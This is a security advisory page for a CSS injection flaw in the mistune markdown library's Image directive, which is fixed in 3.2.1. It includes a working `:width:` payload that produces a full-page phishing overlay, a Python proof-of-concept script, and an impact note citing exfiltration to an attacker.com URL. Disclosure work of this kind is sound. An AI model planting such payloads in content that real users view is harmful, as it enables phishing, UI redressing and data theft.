GHSA-CCFX-MFMX-2FX9
Vulnerability from github – Published: 2026-05-14 16:36 – Updated: 2026-05-14 16:36Summary
The Image directive plugin validates the :width: and :height: options with a regex compiled as _num_re = re.compile(r"^\d+(?:\.\d*)?"). This pattern is applied via re.match() (which anchors only at the start of the string, not the end). Any value that begins with one or more digits passes validation, regardless of what follows.
When the validated value is not a plain integer, render_block_image() inserts it directly into a style="width:...;" or style="height:...;" attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the style= attribute verbatim and without escaping.
An attacker can therefore inject an arbitrary chain of CSS properties — including position:fixed, background-color, z-index, outline, and opacity — using nothing more than a single :width: option in a fenced image directive. The resulting element can visually cover the entire browser viewport, enabling full-page phishing overlays and UI redressing attacks.
Details
File: src/mistune/directives/image.py
_num_re = re.compile(r"^\d+(?:\.\d*)?") # no $ anchor — prefix match only
def _parse_attrs(options):
height = options.get("height")
width = options.get("width")
if height and _num_re.match(height): # passes if value STARTS with a digit
attrs["height"] = height # full value stored, not just digits
if width and _num_re.match(width): # same — prefix-only check
attrs["width"] = width
And in render_block_image():
if width:
if width.isdigit():
img += ' width="' + width + '"' # safe: integer → HTML attribute
else:
style += "width:" + width + ";" # UNSAFE: non-integer → raw style value
The isdigit() branch correctly uses an HTML attribute for plain integers. The else branch assumes that anything that passed _num_re.match() is a safe CSS length like 100px or 50%. However, because the regex is prefix-only, 100vw;height:100vh;position:fixed;... also passes, and the entire string lands in style= unmodified.
PoC
Step 1 — Establish the baseline (safe plain-integer dimensions)
The script creates a parser with escape=True, FencedDirective, and the Image plugin. A safe image directive is rendered with integer width and height:
md = create_markdown(escape=True, plugins=[FencedDirective([Image()])])
bl_src = (
"```{image} photo.jpg\n"
":width: 400\n"
":height: 300\n"
":alt: safe image\n"
"```\n"
)
bl_out = str(md(bl_src))
Expected and actual output — clean width= and height= HTML attributes, no style=:
<div class="block-image"><img src="photo.jpg" alt="safe image" width="400" height="300" /></div>
Step 2 — Understand why non-integer widths go into style=
When width is not a plain integer (e.g., 100px), width.isdigit() returns False, so the render path falls through to style += "width:" + width + ";". This is the intended mechanism for CSS-unit dimensions. The flaw is that _num_re.match() lets far more than CSS units through.
Step 3 — Craft the exploit payload
Provide a :width: value that begins with a valid number (satisfying _num_re.match()) but appends an entire CSS attack chain after it:
:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93
100vw— starts with1, passes_num_re.match(); also sets the width to full viewport width;height:100vh— overrides height to full viewport height;position:fixed— lifts element out of document flow, fixed to the browser viewport;top:0;left:0— anchors overlay to the top-left corner;z-index:9999— places it above all other page content;background-color:#e11d48— fills the overlay with vivid crimson;outline:8px solid #facc15— adds a bright yellow border;color:#fff;opacity:.93— styles the alt-text label in white with near-full opacity
Full exploit markdown:
```{image} x.jpg
:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93
:alt: ⚠ CSS INJECTED — click to dismiss ⚠
**Step 4 — Observe the injected `style=` in the output**
```python
ex_src = (
"```{image} x.jpg\n"
":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;"
"background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n"
":alt: ⚠ CSS INJECTED — click to dismiss ⚠\n"
"```\n"
)
ex_out = str(md(ex_src))
Actual output:
<div class="block-image"><img src="x.jpg" alt="⚠ CSS INJECTED — click to dismiss ⚠" style="width:100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93;" /></div>
Every injected CSS property is present in the style= attribute. When a browser renders this HTML, the <img> element:
- expands to fill 100% of the viewport width and height
- sits fixed at the top-left corner, scrolling with the viewport
- is coloured crimson with a yellow outline
- appears above all other page content
The result is a complete full-page phishing overlay generated from a single Markdown image directive.
Script
I have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.
#!/usr/bin/env python3
"""H6: Image directive CSS injection — width/height use prefix-only re.match().
Exploit combines: position:fixed + background-color + outline colour
→ a full-viewport coloured overlay injected via a single :width: option.
"""
import os, html as h
from mistune import create_markdown
from mistune.directives import FencedDirective
from mistune.directives.image import Image
md = create_markdown(escape=True, plugins=[FencedDirective([Image()])])
# --- baseline ---
bl_file = "baseline_h6.md"
bl_src = (
"```{image} photo.jpg\n"
":width: 400\n"
":height: 300\n"
":alt: safe image\n"
"```\n"
)
with open(os.path.join(os.getcwd(), bl_file), "w") as f:
f.write(bl_src)
bl_out = str(md(bl_src))
print(f"[{bl_file}]\n{bl_src}")
print("[output — clean width/height attributes, no style injection]")
print(bl_out)
# --- exploit ---
# _num_re.match() is prefix-only (no $ anchor), so anything after the leading
# digits is accepted and written verbatim into style="width:<value>;".
# This single :width: value smuggles a full CSS attack chain:
# position:fixed → overlay sits above the entire page
# top/left/width/height → covers 100 % of the viewport
# background-color:#e11d48 → vivid crimson fill
# outline:8px solid #facc15 → bright yellow border
# color:#fff → white alt-text label
# z-index:9999 → on top of everything
ex_file = "exploit_h6.md"
ex_src = (
"```{image} x.jpg\n"
":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;"
"background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n"
":alt: ⚠ CSS INJECTED — click to dismiss ⚠\n"
"```\n"
)
with open(os.path.join(os.getcwd(), ex_file), "w") as f:
f.write(ex_src)
ex_out = str(md(ex_src))
print(f"[{ex_file}]\n{ex_src}")
print("[output — colour + background-colour + fixed overlay injected into style=]")
print(ex_out)
# --- HTML report ---
CSS = """
body{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}
h1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}
p.desc{color:#555;font-size:.9em;margin-top:6px}
.warn{background:#fffbeb;border:1px solid #fbbf24;border-radius:6px;padding:10px 16px;
font-size:.85em;color:#92400e;margin:12px 0}
.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;
box-shadow:0 1px 4px rgba(0,0,0,.1)}
.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}
.baseline .case-header{background:#d1fae5;color:#065f46}
.exploit .case-header{background:#fee2e2;color:#7f1d1d}
.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}
.panel{padding:16px}
.panel+.panel{border-left:1px solid #eee}
.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}
pre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;
font-size:.78em;white-space:pre-wrap;word-break:break-all}
.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}
.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;
background:#fff;font-size:.9em;position:relative;overflow:hidden;height:180px}
/* scope the live-render sandbox so position:fixed stays inside the box */
.sandbox{position:relative;width:100%;height:100%}
.sandbox img{max-width:100%;max-height:100%;object-fit:contain}
/* override position:fixed on exploit img to keep it inside the preview box */
.sandbox img[style*="position:fixed"]{position:absolute!important;width:100%!important;
height:100%!important;top:0!important;left:0!important}
"""
def case(kind, label, filename, src, out):
header = "BASELINE" if kind == "baseline" else "EXPLOIT"
sandbox = f'<div class="sandbox">{out}</div>'
return f"""
<div class="case {kind}">
<div class="case-header">{header} — {h.escape(label)}</div>
<div class="panels">
<div class="panel">
<h3>Input — {h.escape(filename)}</h3>
<pre>{h.escape(src)}</pre>
</div>
<div class="panel">
<h3>Output — HTML source</h3>
<pre>{h.escape(out)}</pre>
<div class="rlabel">↓ live render (sandboxed to preview box)</div>
<div class="rendered">{sandbox}</div>
</div>
</div>
</div>"""
page = f"""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8">
<title>H6 — Image CSS Injection</title><style>{CSS}</style></head><body>
<h1>H6 — Image Directive CSS Injection</h1>
<p class="desc">
<code>_parse_attrs()</code> in <code>directives/image.py</code> validates
<code>:width:</code> / <code>:height:</code> with <code>_num_re.match()</code>
(prefix-only — no <code>$</code> anchor). Anything after the leading digits
is accepted verbatim and written straight into a <code>style=</code> attribute.
A single <code>:width:</code> option is sufficient to smuggle an arbitrary
CSS chain: <strong>position:fixed · background-color · outline colour · full-viewport overlay</strong>.
</p>
<div class="warn">
⚠ The EXPLOIT preview below is sandboxed inside its box.
In a real document the crimson overlay would cover the <em>entire browser window</em>.
</div>
{case("baseline",
"Integer dims → clean width/height= attributes, no style=",
bl_file, bl_src, bl_out)}
{case("exploit",
":width: carries position:fixed + background-color + outline → full-viewport coloured overlay",
ex_file, ex_src, ex_out)}
</body></html>"""
out_path = os.path.join(os.getcwd(), "report_h6.html")
with open(out_path, "w") as f:
f.write(page)
print(f"\n[report] {out_path}")
Example usage:
python poc.py
Once you run the script, open report_h6.html in the browser and observe the behaviour.
Impact
| Dimension | Assessment |
|---|---|
| Confidentiality | CSS-based data exfiltration via background-image: url(https://attacker.com/?leak=...) is possible in some browser/CSP configurations |
| Integrity | Full-viewport overlay enables complete UI replacement: phishing login forms, fake alerts, click-jacking, brand impersonation |
| Availability | The overlay obscures all page content from the user until dismissed or navigated away |
Real-world impact scenario: An attacker posts a Markdown document to a platform (wiki, issue tracker, documentation site) that renders mistune with the Image directive. Any user who views the page sees a full-screen crimson overlay matching the attacker's design, replacing or concealing the legitimate page content. The overlay can contain a convincing login prompt, survey form, or urgent warning designed to capture credentials.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mistune"
},
"ranges": [
{
"events": [
{
"introduced": "3.2.0"
},
{
"fixed": "3.2.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.2.0"
]
}
],
"aliases": [
"CVE-2026-44899"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T16:36:18Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\nThe Image directive plugin validates the `:width:` and `:height:` options with a regex compiled as `_num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\")`. This pattern is applied via `re.match()` (which anchors only at the **start** of the string, not the end). Any value that begins with one or more digits passes validation, regardless of what follows.\n\nWhen the validated value is not a plain integer, `render_block_image()` inserts it directly into a `style=\"width:...;\"` or `style=\"height:...;\"` attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the `style=` attribute verbatim and without escaping.\n\nAn attacker can therefore inject an arbitrary chain of CSS properties \u2014 including `position:fixed`, `background-color`, `z-index`, `outline`, and `opacity` \u2014 using nothing more than a single `:width:` option in a fenced image directive. The resulting element can visually cover the entire browser viewport, enabling full-page phishing overlays and UI redressing attacks.\n\n## Details\n**File:** `src/mistune/directives/image.py`\n\n```python\n_num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\") # no $ anchor \u2014 prefix match only\n\ndef _parse_attrs(options):\n height = options.get(\"height\")\n width = options.get(\"width\")\n if height and _num_re.match(height): # passes if value STARTS with a digit\n attrs[\"height\"] = height # full value stored, not just digits\n if width and _num_re.match(width): # same \u2014 prefix-only check\n attrs[\"width\"] = width\n```\n\nAnd in `render_block_image()`:\n\n```python\nif width:\n if width.isdigit():\n img += \u0027 width=\"\u0027 + width + \u0027\"\u0027 # safe: integer \u2192 HTML attribute\n else:\n style += \"width:\" + width + \";\" # UNSAFE: non-integer \u2192 raw style value\n```\n\nThe `isdigit()` branch correctly uses an HTML attribute for plain integers. The `else` branch assumes that anything that passed `_num_re.match()` is a safe CSS length like `100px` or `50%`. However, because the regex is prefix-only, `100vw;height:100vh;position:fixed;...` also passes, and the entire string lands in `style=` unmodified.\n\n\n## PoC\n**Step 1 \u2014 Establish the baseline (safe plain-integer dimensions)**\n\nThe script creates a parser with `escape=True`, `FencedDirective`, and the `Image` plugin. A safe image directive is rendered with integer `width` and `height`:\n\n```python\nmd = create_markdown(escape=True, plugins=[FencedDirective([Image()])])\n\nbl_src = (\n \"```{image} photo.jpg\\n\"\n \":width: 400\\n\"\n \":height: 300\\n\"\n \":alt: safe image\\n\"\n \"```\\n\"\n)\nbl_out = str(md(bl_src))\n```\n\nExpected and actual output \u2014 clean `width=` and `height=` HTML attributes, no `style=`:\n```html\n\u003cdiv class=\"block-image\"\u003e\u003cimg src=\"photo.jpg\" alt=\"safe image\" width=\"400\" height=\"300\" /\u003e\u003c/div\u003e\n```\n\n**Step 2 \u2014 Understand why non-integer widths go into `style=`**\n\nWhen `width` is not a plain integer (e.g., `100px`), `width.isdigit()` returns `False`, so the render path falls through to `style += \"width:\" + width + \";\"`. This is the intended mechanism for CSS-unit dimensions. The flaw is that `_num_re.match()` lets far more than CSS units through.\n\n**Step 3 \u2014 Craft the exploit payload**\n\nProvide a `:width:` value that begins with a valid number (satisfying `_num_re.match()`) but appends an entire CSS attack chain after it:\n\n```\n:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n```\n\n- `100vw` \u2014 starts with `1`, passes `_num_re.match()`; also sets the width to full viewport width\n- `;height:100vh` \u2014 overrides height to full viewport height\n- `;position:fixed` \u2014 lifts element out of document flow, fixed to the browser viewport\n- `;top:0;left:0` \u2014 anchors overlay to the top-left corner\n- `;z-index:9999` \u2014 places it above all other page content\n- `;background-color:#e11d48` \u2014 fills the overlay with vivid crimson\n- `;outline:8px solid #facc15` \u2014 adds a bright yellow border\n- `;color:#fff;opacity:.93` \u2014 styles the alt-text label in white with near-full opacity\n\nFull exploit markdown:\n```\n```{image} x.jpg\n:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n:alt: \u26a0 CSS INJECTED \u2014 click to dismiss \u26a0\n```\n```\n\n**Step 4 \u2014 Observe the injected `style=` in the output**\n\n```python\nex_src = (\n \"```{image} x.jpg\\n\"\n \":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;\"\n \"background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\\n\"\n \":alt: \u26a0 CSS INJECTED \u2014 click to dismiss \u26a0\\n\"\n \"```\\n\"\n)\nex_out = str(md(ex_src))\n```\n\nActual output:\n```html\n\u003cdiv class=\"block-image\"\u003e\u003cimg src=\"x.jpg\" alt=\"\u26a0 CSS INJECTED \u2014 click to dismiss \u26a0\" style=\"width:100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93;\" /\u003e\u003c/div\u003e\n```\n\nEvery injected CSS property is present in the `style=` attribute. When a browser renders this HTML, the `\u003cimg\u003e` element:\n- expands to fill 100% of the viewport width and height\n- sits fixed at the top-left corner, scrolling with the viewport\n- is coloured crimson with a yellow outline\n- appears above all other page content\n\nThe result is a complete full-page phishing overlay generated from a single Markdown image directive.\n\n### Script \n\nI have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H6: Image directive CSS injection \u2014 width/height use prefix-only re.match().\n\nExploit combines: position:fixed + background-color + outline colour\n\u2192 a full-viewport coloured overlay injected via a single :width: option.\n\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.directives import FencedDirective\nfrom mistune.directives.image import Image\n\nmd = create_markdown(escape=True, plugins=[FencedDirective([Image()])])\n\n# --- baseline ---\nbl_file = \"baseline_h6.md\"\nbl_src = (\n \"```{image} photo.jpg\\n\"\n \":width: 400\\n\"\n \":height: 300\\n\"\n \":alt: safe image\\n\"\n \"```\\n\"\n)\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n f.write(bl_src)\nbl_out = str(md(bl_src))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output \u2014 clean width/height attributes, no style injection]\")\nprint(bl_out)\n\n# --- exploit ---\n# _num_re.match() is prefix-only (no $ anchor), so anything after the leading\n# digits is accepted and written verbatim into style=\"width:\u003cvalue\u003e;\".\n# This single :width: value smuggles a full CSS attack chain:\n# position:fixed \u2192 overlay sits above the entire page\n# top/left/width/height \u2192 covers 100 % of the viewport\n# background-color:#e11d48 \u2192 vivid crimson fill\n# outline:8px solid #facc15 \u2192 bright yellow border\n# color:#fff \u2192 white alt-text label\n# z-index:9999 \u2192 on top of everything\nex_file = \"exploit_h6.md\"\nex_src = (\n \"```{image} x.jpg\\n\"\n \":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;\"\n \"background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\\n\"\n \":alt: \u26a0 CSS INJECTED \u2014 click to dismiss \u26a0\\n\"\n \"```\\n\"\n)\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n f.write(ex_src)\nex_out = str(md(ex_src))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output \u2014 colour + background-colour + fixed overlay injected into style=]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.warn{background:#fffbeb;border:1px solid #fbbf24;border-radius:6px;padding:10px 16px;\n font-size:.85em;color:#92400e;margin:12px 0}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;\n box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;\n font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;\n background:#fff;font-size:.9em;position:relative;overflow:hidden;height:180px}\n/* scope the live-render sandbox so position:fixed stays inside the box */\n.sandbox{position:relative;width:100%;height:100%}\n.sandbox img{max-width:100%;max-height:100%;object-fit:contain}\n/* override position:fixed on exploit img to keep it inside the preview box */\n.sandbox img[style*=\"position:fixed\"]{position:absolute!important;width:100%!important;\n height:100%!important;top:0!important;left:0!important}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n header = \"BASELINE\" if kind == \"baseline\" else \"EXPLOIT\"\n sandbox = f\u0027\u003cdiv class=\"sandbox\"\u003e{out}\u003c/div\u003e\u0027\n return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n \u003cdiv class=\"case-header\"\u003e{header} \u2014 {h.escape(label)}\u003c/div\u003e\n \u003cdiv class=\"panels\"\u003e\n \u003cdiv class=\"panel\"\u003e\n \u003ch3\u003eInput \u2014 {h.escape(filename)}\u003c/h3\u003e\n \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n \u003c/div\u003e\n \u003cdiv class=\"panel\"\u003e\n \u003ch3\u003eOutput \u2014 HTML source\u003c/h3\u003e\n \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n \u003cdiv class=\"rlabel\"\u003e\u2193 live render (sandboxed to preview box)\u003c/div\u003e\n \u003cdiv class=\"rendered\"\u003e{sandbox}\u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH6 \u2014 Image CSS Injection\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH6 \u2014 Image Directive CSS Injection\u003c/h1\u003e\n\u003cp class=\"desc\"\u003e\n \u003ccode\u003e_parse_attrs()\u003c/code\u003e in \u003ccode\u003edirectives/image.py\u003c/code\u003e validates\n \u003ccode\u003e:width:\u003c/code\u003e / \u003ccode\u003e:height:\u003c/code\u003e with \u003ccode\u003e_num_re.match()\u003c/code\u003e\n (prefix-only \u2014 no \u003ccode\u003e$\u003c/code\u003e anchor). Anything after the leading digits\n is accepted verbatim and written straight into a \u003ccode\u003estyle=\u003c/code\u003e attribute.\n A single \u003ccode\u003e:width:\u003c/code\u003e option is sufficient to smuggle an arbitrary\n CSS chain: \u003cstrong\u003eposition:fixed \u00b7 background-color \u00b7 outline colour \u00b7 full-viewport overlay\u003c/strong\u003e.\n\u003c/p\u003e\n\u003cdiv class=\"warn\"\u003e\n \u26a0 The EXPLOIT preview below is sandboxed inside its box.\n In a real document the crimson overlay would cover the \u003cem\u003eentire browser window\u003c/em\u003e.\n\u003c/div\u003e\n{case(\"baseline\",\n \"Integer dims \u2192 clean width/height= attributes, no style=\",\n bl_file, bl_src, bl_out)}\n{case(\"exploit\",\n \":width: carries position:fixed + background-color + outline \u2192 full-viewport coloured overlay\",\n ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h6.html\")\nwith open(out_path, \"w\") as f:\n f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce you run the script, open `report_h6.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension | Assessment |\n|------------------|-----------|\n| **Confidentiality** | CSS-based data exfiltration via `background-image: url(https://attacker.com/?leak=...)` is possible in some browser/CSP configurations |\n| **Integrity** | Full-viewport overlay enables complete UI replacement: phishing login forms, fake alerts, click-jacking, brand impersonation |\n| **Availability** | The overlay obscures all page content from the user until dismissed or navigated away |\n\n**Real-world impact scenario:** An attacker posts a Markdown document to a platform (wiki, issue tracker, documentation site) that renders mistune with the Image directive. Any user who views the page sees a full-screen crimson overlay matching the attacker\u0027s design, replacing or concealing the legitimate page content. The overlay can contain a convincing login prompt, survey form, or urgent warning designed to capture credentials.",
"id": "GHSA-ccfx-mfmx-2fx9",
"modified": "2026-05-14T16:36:18Z",
"published": "2026-05-14T16:36:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lepture/mistune/security/advisories/GHSA-ccfx-mfmx-2fx9"
},
{
"type": "PACKAGE",
"url": "https://github.com/lepture/mistune"
},
{
"type": "WEB",
"url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Mistune Image Directive CSS Injection Vulnerability"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.